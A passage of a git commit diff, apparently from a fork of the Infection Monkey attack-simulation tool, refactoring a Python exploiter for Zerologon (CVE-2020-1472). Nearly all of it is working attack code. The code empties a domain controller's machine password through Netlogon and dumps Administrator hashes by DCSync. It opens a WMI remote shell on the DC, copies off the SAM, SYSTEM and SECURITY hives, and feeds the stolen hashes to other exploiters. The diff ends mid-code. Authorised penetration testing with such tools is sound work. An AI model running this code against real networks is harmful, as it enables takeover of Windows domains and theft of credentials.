forked from p15670423/monkey
CR + testing changes
This commit is contained in:
parent
e357b3fbe6
commit
d7086f04aa
|
@ -35,13 +35,10 @@ class HostExploiter(Plugin):
|
||||||
# Usual values are 'vulnerability' or 'brute_force'
|
# Usual values are 'vulnerability' or 'brute_force'
|
||||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||||
|
|
||||||
# Specifies whether a machine, on which the exploit was successful, should be added to the set of exploited
|
# Determines if successful exploitation should stop further exploit attempts on that machine.
|
||||||
# machines. This would then prevent any other exploits from being attempted on it.
|
# Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent.
|
||||||
# Sample use case - Zerologon exploiter:
|
# Example: Zerologon steals credentials
|
||||||
# Exploited machine gives us useful credentials which can be used, but machine isn't fully compromised by Zerologon
|
RUNS_AGENT_ON_SUCCESS = True
|
||||||
# on its own. Some other exploiter using PTH needs to exploit it with the extracted credentials so that the monkey
|
|
||||||
# can propagate to it.
|
|
||||||
SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = True
|
|
||||||
|
|
||||||
@property
|
@property
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
|
@ -109,4 +106,5 @@ class HostExploiter(Plugin):
|
||||||
:param cmd: String of executed command. e.g. 'echo Example'
|
:param cmd: String of executed command. e.g. 'echo Example'
|
||||||
"""
|
"""
|
||||||
powershell = True if "powershell" in cmd.lower() else False
|
powershell = True if "powershell" in cmd.lower() else False
|
||||||
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
|
self.exploit_info['executed_cmds'].append(
|
||||||
|
{'cmd': cmd, 'powershell': powershell})
|
||||||
|
|
|
@ -3,105 +3,54 @@ Zerologon, CVE-2020-1472
|
||||||
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
|
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import cmd
|
|
||||||
import io
|
import io
|
||||||
import logging
|
import logging
|
||||||
import ntpath
|
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import time
|
|
||||||
import traceback
|
|
||||||
from binascii import unhexlify
|
from binascii import unhexlify
|
||||||
|
from typing import List, Optional
|
||||||
|
|
||||||
import impacket
|
import impacket
|
||||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||||
from impacket.dcerpc.v5.dcom import wmi
|
|
||||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
|
||||||
NTDSHashes, RemoteOperations,
|
|
||||||
SAMHashes)
|
|
||||||
from impacket.smbconnection import SMBConnection
|
|
||||||
|
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
|
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
|
||||||
|
from infection_monkey.exploit.zerologon_utils.options import \
|
||||||
|
OptionsForSecretsdump
|
||||||
|
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||||
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
_orig_stdout = None
|
|
||||||
_new_stdout = None
|
|
||||||
|
|
||||||
|
|
||||||
def _set_stdout_to_in_memory_text_stream():
|
|
||||||
# set stdout to in-memory text stream, to capture info that would otherwise be printed
|
|
||||||
global _orig_stdout, _new_stdout
|
|
||||||
_orig_stdout = sys.stdout
|
|
||||||
_new_stdout = io.StringIO()
|
|
||||||
sys.stdout = _new_stdout
|
|
||||||
|
|
||||||
|
|
||||||
def _unset_stdout_and_return_captured():
|
|
||||||
# set stdout to original and return captured output
|
|
||||||
global _orig_stdout, _new_stdout
|
|
||||||
sys.stdout = _orig_stdout
|
|
||||||
_new_stdout.seek(0)
|
|
||||||
return _new_stdout.read()
|
|
||||||
|
|
||||||
|
|
||||||
class ZerologonExploiter(HostExploiter):
|
class ZerologonExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
_EXPLOITED_SERVICE = 'Netlogon'
|
_EXPLOITED_SERVICE = 'Netlogon'
|
||||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||||
SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = False
|
RUNS_AGENT_ON_SUCCESS = False
|
||||||
MAX_ATTEMPTS = 2000
|
MAX_ATTEMPTS = 2000
|
||||||
OPTIONS_FOR_SECRETSDUMP =\
|
ERROR_CODE_ACCESS_DENIED = 0xc0000022
|
||||||
{
|
|
||||||
'aes_key': None,
|
|
||||||
'bootkey': None,
|
|
||||||
'can_process_SAM_LSA': True,
|
|
||||||
'dc_ip': None,
|
|
||||||
'debug': False,
|
|
||||||
'exec_method': 'smbexec',
|
|
||||||
'hashes': None,
|
|
||||||
'history': False,
|
|
||||||
'is_remote': True,
|
|
||||||
'just_dc': True, # becomes False in a copy in get_original_pwd_nthash()
|
|
||||||
'just_dc_ntlm': False,
|
|
||||||
'just_dc_user': None,
|
|
||||||
'k': False,
|
|
||||||
'keytab': None,
|
|
||||||
'no_lmhash': True,
|
|
||||||
'no_pass': True,
|
|
||||||
'ntds': None,
|
|
||||||
'outputfile': None,
|
|
||||||
'pwd_last_set': False,
|
|
||||||
'resumefile': None,
|
|
||||||
'sam': None,
|
|
||||||
'security': None,
|
|
||||||
'system': None, # sam, security, and system are assigned in a copy in get_original_pwd_nthash()
|
|
||||||
'target': '',
|
|
||||||
'target_ip': '', # target and target_ip are assigned in a copy in get_admin_pwd_hashes()
|
|
||||||
'ts': False,
|
|
||||||
'use_vss': False,
|
|
||||||
'user_status': False
|
|
||||||
}
|
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host: object):
|
||||||
super().__init__(host)
|
super().__init__(host)
|
||||||
self.vulnerable_port = None
|
self.vulnerable_port = None
|
||||||
self.zerologon_finger = ZerologonFinger()
|
self.zerologon_finger = ZerologonFinger()
|
||||||
self.exploit_info['credentials'] = {}
|
self.exploit_info['credentials'] = {}
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self) -> Optional[bool]:
|
||||||
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
|
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
|
||||||
|
|
||||||
if self.is_exploitable():
|
if self.is_exploitable():
|
||||||
LOG.info("Target vulnerable, changing account password to empty string.")
|
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||||
|
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
rpc_con = self.connect_to_dc()
|
try:
|
||||||
|
rpc_con = self.connect_to_dc()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||||
|
return
|
||||||
|
|
||||||
# Start exploiting attempts.
|
# Start exploiting attempts.
|
||||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||||
|
@ -113,7 +62,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
except nrpc.DCERPCSessionError as e:
|
except nrpc.DCERPCSessionError as e:
|
||||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||||
# Otherwise, the attack is probably not working.
|
# Otherwise, the attack is probably not working.
|
||||||
if e.get_error_code() != 0xc0000022:
|
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||||
except BaseException as e:
|
except BaseException as e:
|
||||||
LOG.info(f"Unexpected error: {e}")
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
@ -121,18 +70,15 @@ class ZerologonExploiter(HostExploiter):
|
||||||
if result is not None:
|
if result is not None:
|
||||||
break
|
break
|
||||||
|
|
||||||
self.report_login_attempt(result=False,
|
|
||||||
user=self.dc_name)
|
|
||||||
|
|
||||||
if result['ErrorCode'] == 0:
|
if result['ErrorCode'] == 0:
|
||||||
self.report_login_attempt(result=True,
|
self.report_login_attempt(result=True, user=self.dc_name)
|
||||||
user=self.dc_name)
|
_exploited = True
|
||||||
LOG.info("Exploit complete!")
|
LOG.info("Exploit complete!")
|
||||||
else:
|
else:
|
||||||
|
self.report_login_attempt(result=False, user=self.dc_name)
|
||||||
|
_exploited = False
|
||||||
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
||||||
|
|
||||||
_exploited = True
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||||
_exploited = False
|
_exploited = False
|
||||||
|
@ -148,10 +94,10 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
return _exploited
|
return _exploited
|
||||||
|
|
||||||
def is_exploitable(self):
|
def is_exploitable(self) -> bool:
|
||||||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||||
|
|
||||||
def connect_to_dc(self):
|
def connect_to_dc(self) -> object:
|
||||||
binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC,
|
binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC,
|
||||||
protocol='ncacn_ip_tcp')
|
protocol='ncacn_ip_tcp')
|
||||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||||
|
@ -159,20 +105,26 @@ class ZerologonExploiter(HostExploiter):
|
||||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||||
return rpc_con
|
return rpc_con
|
||||||
|
|
||||||
def attempt_exploit(self, rpc_con):
|
def attempt_exploit(self, rpc_con: object) -> object:
|
||||||
request = nrpc.NetrServerPasswordSet2()
|
request = nrpc.NetrServerPasswordSet2()
|
||||||
|
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||||
request['PrimaryName'] = self.dc_handle + '\x00'
|
request['PrimaryName'] = self.dc_handle + '\x00'
|
||||||
request['AccountName'] = self.dc_name + '$\x00'
|
|
||||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
|
||||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
|
||||||
authenticator['Credential'] = b'\x00' * 8
|
|
||||||
authenticator['Timestamp'] = 0
|
|
||||||
request['Authenticator'] = authenticator
|
|
||||||
request['ComputerName'] = self.dc_name + '\x00'
|
|
||||||
request['ClearNewPassword'] = b'\x00' * 516
|
request['ClearNewPassword'] = b'\x00' * 516
|
||||||
|
|
||||||
return rpc_con.request(request)
|
return rpc_con.request(request)
|
||||||
|
|
||||||
def restore_password(self):
|
@staticmethod
|
||||||
|
def _set_up_request(request: object, dc_name: str) -> None:
|
||||||
|
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||||
|
authenticator['Credential'] = b'\x00' * 8
|
||||||
|
authenticator['Timestamp'] = b'\x00' * 4
|
||||||
|
|
||||||
|
request['AccountName'] = dc_name + '$\x00'
|
||||||
|
request['ComputerName'] = dc_name + '\x00'
|
||||||
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
|
request['Authenticator'] = authenticator
|
||||||
|
|
||||||
|
def restore_password(self) -> Optional[bool]:
|
||||||
LOG.info("Restoring original password...")
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
LOG.debug("DCSync; getting admin password's hashes.")
|
LOG.debug("DCSync; getting admin password's hashes.")
|
||||||
|
@ -187,6 +139,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
if not original_pwd_nthash:
|
if not original_pwd_nthash:
|
||||||
raise Exception("Couldn't extract original DC password's nthash.")
|
raise Exception("Couldn't extract original DC password's nthash.")
|
||||||
|
|
||||||
|
self.remove_locally_saved_HKLM_keys()
|
||||||
|
|
||||||
# Keep authenticating until successful.
|
# Keep authenticating until successful.
|
||||||
LOG.debug("Attempting password restoration.")
|
LOG.debug("Attempting password restoration.")
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
|
@ -203,24 +157,42 @@ class ZerologonExploiter(HostExploiter):
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error(e)
|
LOG.error(e)
|
||||||
|
|
||||||
def get_admin_pwd_hashes(self):
|
def get_admin_pwd_hashes(self) -> str:
|
||||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
options = OptionsForSecretsdump(
|
||||||
options['target'] = '$@'.join([self.dc_name, self.dc_ip]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
options['target_ip'] = self.dc_ip
|
target_ip=self.dc_ip,
|
||||||
options['dc_ip'] = self.dc_ip
|
dc_ip=self.dc_ip
|
||||||
|
)
|
||||||
|
|
||||||
|
dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip,
|
||||||
|
username=f"{self.dc_name}$",
|
||||||
|
options=options)
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
|
||||||
remote_name=self.dc_ip,
|
|
||||||
username=f"{self.dc_name}$")
|
|
||||||
user = 'Administrator'
|
user = 'Administrator'
|
||||||
for secret in dumped_secrets:
|
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
|
||||||
if user in secret:
|
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes)
|
||||||
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
|
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||||
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1])
|
|
||||||
self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1])
|
|
||||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
|
||||||
|
|
||||||
def add_extracted_creds_to_exploit_info(self, user, lmhash, nthash):
|
def get_dumped_secrets(self, remote_name: str = '', username: str = '', options: Optional[object] = None) -> List[str]:
|
||||||
|
dumper = DumpSecrets(remote_name=remote_name,
|
||||||
|
username=username,
|
||||||
|
options=options)
|
||||||
|
dumped_secrets = dumper.dump().split('\n')
|
||||||
|
return dumped_secrets
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _extract_user_hashes_from_secrets(user: str, secrets: List[str]) -> List[str]:
|
||||||
|
for secret in secrets:
|
||||||
|
if user in secret:
|
||||||
|
# format of secret - "domain\uid:rid:lmhash:nthash:::"
|
||||||
|
hashes = secret.split(':')[2:4]
|
||||||
|
return hashes # format - [lmhash, nthash]
|
||||||
|
|
||||||
|
def store_extracted_hashes_for_exploitation(self, user: str, hashes: List[str]) -> None:
|
||||||
|
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1])
|
||||||
|
self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1])
|
||||||
|
|
||||||
|
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
|
||||||
self.exploit_info['credentials'].update({
|
self.exploit_info['credentials'].update({
|
||||||
user: {
|
user: {
|
||||||
'username': user,
|
'username': user,
|
||||||
|
@ -230,7 +202,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
def add_extracted_creds_to_monkey_config(self, user, lmhash, nthash): # so other exploiters can use these creds
|
# so other exploiters can use these creds
|
||||||
|
def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None:
|
||||||
if user not in self._config.exploit_user_list:
|
if user not in self._config.exploit_user_list:
|
||||||
self._config.exploit_user_list.append(user)
|
self._config.exploit_user_list.append(user)
|
||||||
|
|
||||||
|
@ -240,29 +213,34 @@ class ZerologonExploiter(HostExploiter):
|
||||||
if nthash not in self._config.exploit_ntlm_hash_list:
|
if nthash not in self._config.exploit_ntlm_hash_list:
|
||||||
self._config.exploit_ntlm_hash_list.append(nthash)
|
self._config.exploit_ntlm_hash_list.append(nthash)
|
||||||
|
|
||||||
def get_original_pwd_nthash(self, admin_pwd_hashes):
|
def get_original_pwd_nthash(self, admin_pwd_hashes: str) -> str:
|
||||||
if not self.save_HKLM_keys_locally(admin_pwd_hashes):
|
if not self.save_HKLM_keys_locally(admin_pwd_hashes):
|
||||||
return
|
return
|
||||||
|
|
||||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
options = OptionsForSecretsdump(
|
||||||
for name in ['system', 'sam', 'security']:
|
dc_ip=self.dc_ip,
|
||||||
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
just_dc=False,
|
||||||
options['dc_ip'] = self.dc_ip
|
system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'),
|
||||||
options['just_dc'] = False
|
sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'),
|
||||||
|
security=os.path.join(os.path.expanduser('~'), 'monkey-security.save')
|
||||||
|
)
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
|
||||||
remote_name='LOCAL')
|
options=options)
|
||||||
for secret in dumped_secrets:
|
for secret in dumped_secrets:
|
||||||
if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
|
if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
|
||||||
nthash = secret.split(':')[2]
|
nthash = secret.split(':')[2]
|
||||||
return nthash
|
return nthash
|
||||||
|
|
||||||
def get_dumped_secrets(self, options, remote_name='', username='', password='', domain=''):
|
def remove_locally_saved_HKLM_keys(self) -> None:
|
||||||
dumper = DumpSecrets(remote_name, username, password, domain, options)
|
for name in ['system', 'sam', 'security']:
|
||||||
dumped_secrets = dumper.dump().split('\n')
|
path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||||
return dumped_secrets
|
try:
|
||||||
|
os.remove(path)
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||||
|
|
||||||
def save_HKLM_keys_locally(self, admin_pwd_hashes):
|
def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool:
|
||||||
LOG.debug("Starting remote shell on victim.")
|
LOG.debug("Starting remote shell on victim.")
|
||||||
|
|
||||||
wmiexec = Wmiexec(ip=self.dc_ip,
|
wmiexec = Wmiexec(ip=self.dc_ip,
|
||||||
|
@ -272,7 +250,9 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
remote_shell = wmiexec.get_remote_shell()
|
remote_shell = wmiexec.get_remote_shell()
|
||||||
if remote_shell:
|
if remote_shell:
|
||||||
_set_stdout_to_in_memory_text_stream()
|
_orig_stdout = sys.stdout
|
||||||
|
_new_stdout = io.StringIO()
|
||||||
|
sys.stdout = _new_stdout
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Save HKLM keys on victim.
|
# Save HKLM keys on victim.
|
||||||
|
@ -286,7 +266,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
remote_shell.onecmd('get security.save')
|
remote_shell.onecmd('get security.save')
|
||||||
|
|
||||||
# Delete saved keys on victim.
|
# Delete saved keys on victim.
|
||||||
remote_shell.onecmd('del /f system.save sam.save security.save')
|
remote_shell.onecmd(
|
||||||
|
'del /f system.save sam.save security.save')
|
||||||
|
|
||||||
wmiexec.close()
|
wmiexec.close()
|
||||||
|
|
||||||
|
@ -296,15 +277,24 @@ class ZerologonExploiter(HostExploiter):
|
||||||
LOG.info(f"Exception occured: {str(e)}")
|
LOG.info(f"Exception occured: {str(e)}")
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
info = _unset_stdout_and_return_captured()
|
sys.stdout = _orig_stdout
|
||||||
|
_new_stdout.seek(0)
|
||||||
|
info = _new_stdout.read()
|
||||||
|
|
||||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise Exception("Could not start remote shell on DC.")
|
raise Exception("Could not start remote shell on DC.")
|
||||||
|
|
||||||
def attempt_restoration(self, original_pwd_nthash):
|
return False
|
||||||
|
|
||||||
|
def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]:
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
rpc_con = self.connect_to_dc()
|
try:
|
||||||
|
rpc_con = self.connect_to_dc()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||||
|
return
|
||||||
|
|
||||||
plaintext = b'\x00'*8
|
plaintext = b'\x00'*8
|
||||||
ciphertext = b'\x00'*8
|
ciphertext = b'\x00'*8
|
||||||
|
@ -322,28 +312,22 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.dc_name + '\x00', ciphertext, flags
|
self.dc_name + '\x00', ciphertext, flags
|
||||||
)
|
)
|
||||||
|
|
||||||
# It worked!
|
|
||||||
assert server_auth['ErrorCode'] == 0
|
assert server_auth['ErrorCode'] == 0
|
||||||
# server_auth.dump()
|
|
||||||
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
|
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
|
||||||
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
|
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
|
||||||
authenticator['Credential'] = ciphertext
|
|
||||||
authenticator['Timestamp'] = b"\x00" * 4
|
|
||||||
|
|
||||||
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
|
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
|
||||||
nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
|
nrpc.OPNUMS[6] = (NetrServerPasswordSet,
|
||||||
|
nrpc.NetrServerPasswordSetResponse)
|
||||||
|
|
||||||
request = NetrServerPasswordSet()
|
request = NetrServerPasswordSet()
|
||||||
|
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||||
request['PrimaryName'] = NULL
|
request['PrimaryName'] = NULL
|
||||||
request['AccountName'] = self.dc_name + '$\x00'
|
pwd_data = impacket.crypto.SamEncryptNTLMHash(
|
||||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
unhexlify(original_pwd_nthash), session_key)
|
||||||
request['ComputerName'] = self.dc_name + '\x00'
|
|
||||||
request["Authenticator"] = authenticator
|
|
||||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
|
|
||||||
request["UasNewPassword"] = pwd_data
|
request["UasNewPassword"] = pwd_data
|
||||||
|
|
||||||
rpc_con.request(request)
|
rpc_con.request(request)
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
@ -353,7 +337,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
except nrpc.DCERPCSessionError as e:
|
except nrpc.DCERPCSessionError as e:
|
||||||
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
|
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
|
||||||
if e.get_error_code() == 0xc0000022:
|
if e.get_error_code() == self.ERROR_CODE_ACCESS_DENIED:
|
||||||
return None
|
return None
|
||||||
else:
|
else:
|
||||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||||
|
@ -379,365 +363,3 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL):
|
||||||
('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
|
('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
|
||||||
('ErrorCode', nrpc.NTSTATUS),
|
('ErrorCode', nrpc.NTSTATUS),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
|
||||||
# Used to get Administrator and original DC passwords' hashes
|
|
||||||
class DumpSecrets:
|
|
||||||
def __init__(self, remote_name, username='', password='', domain='', options=None):
|
|
||||||
self.__use_VSS_method = options['use_vss']
|
|
||||||
self.__remote_name = remote_name
|
|
||||||
self.__remote_host = options['target_ip']
|
|
||||||
self.__username = username
|
|
||||||
self.__password = password
|
|
||||||
self.__domain = domain
|
|
||||||
self.__lmhash = ''
|
|
||||||
self.__nthash = ''
|
|
||||||
self.__aes_key = options['aes_key']
|
|
||||||
self.__smb_connection = None
|
|
||||||
self.__remote_ops = None
|
|
||||||
self.__SAM_hashes = None
|
|
||||||
self.__NTDS_hashes = None
|
|
||||||
self.__LSA_secrets = None
|
|
||||||
self.__system_hive = options['system']
|
|
||||||
self.__bootkey = options['bootkey']
|
|
||||||
self.__security_hive = options['security']
|
|
||||||
self.__sam_hive = options['sam']
|
|
||||||
self.__ntds_file = options['ntds']
|
|
||||||
self.__history = options['history']
|
|
||||||
self.__no_lmhash = options['no_lmhash']
|
|
||||||
self.__is_remote = options['is_remote']
|
|
||||||
self.__output_file_name = options['outputfile']
|
|
||||||
self.__do_kerberos = options['k']
|
|
||||||
self.__just_DC = options['just_dc']
|
|
||||||
self.__just_DC_NTLM = options['just_dc_ntlm']
|
|
||||||
self.__just_user = options['just_dc_user']
|
|
||||||
self.__pwd_last_set = options['pwd_last_set']
|
|
||||||
self.__print_user_status = options['user_status']
|
|
||||||
self.__resume_file_name = options['resumefile']
|
|
||||||
self.__can_process_SAM_LSA = options['can_process_SAM_LSA']
|
|
||||||
self.__kdc_host = options['dc_ip']
|
|
||||||
self.__options = options
|
|
||||||
|
|
||||||
if options['hashes'] is not None:
|
|
||||||
self.__lmhash, self.__nthash = options['hashes'].split(':')
|
|
||||||
|
|
||||||
def connect(self):
|
|
||||||
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
|
|
||||||
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
|
||||||
|
|
||||||
def dump(self):
|
|
||||||
_set_stdout_to_in_memory_text_stream()
|
|
||||||
dumped_secrets = ''
|
|
||||||
|
|
||||||
try:
|
|
||||||
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
|
|
||||||
self.__is_remote = False
|
|
||||||
self.__use_VSS_method = True
|
|
||||||
if self.__system_hive:
|
|
||||||
local_operations = LocalOperations(self.__system_hive)
|
|
||||||
bootkey = local_operations.getBootKey()
|
|
||||||
if self.__ntds_file is not None:
|
|
||||||
# Let's grab target's configuration about LM Hashes storage.
|
|
||||||
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
|
||||||
else:
|
|
||||||
import binascii
|
|
||||||
bootkey = binascii.unhexlify(self.__bootkey)
|
|
||||||
|
|
||||||
else:
|
|
||||||
self.__is_remote = True
|
|
||||||
bootkey = None
|
|
||||||
try:
|
|
||||||
try:
|
|
||||||
self.connect()
|
|
||||||
except Exception as e:
|
|
||||||
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
|
|
||||||
# SMBConnection failed. That might be because there was no way to log into the
|
|
||||||
# target system. We just have a last resort. Hope we have tickets cached and that they
|
|
||||||
# will work
|
|
||||||
LOG.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
|
|
||||||
pass
|
|
||||||
else:
|
|
||||||
raise
|
|
||||||
|
|
||||||
self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host)
|
|
||||||
self.__remote_ops.setExecMethod(self.__options['exec_method'])
|
|
||||||
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
|
||||||
self.__remote_ops.enableRegistry()
|
|
||||||
bootkey = self.__remote_ops.getBootKey()
|
|
||||||
# Let's check whether target system stores LM Hashes.
|
|
||||||
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
|
||||||
except Exception as e:
|
|
||||||
self.__can_process_SAM_LSA = False
|
|
||||||
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
|
||||||
and self.__do_kerberos is True:
|
|
||||||
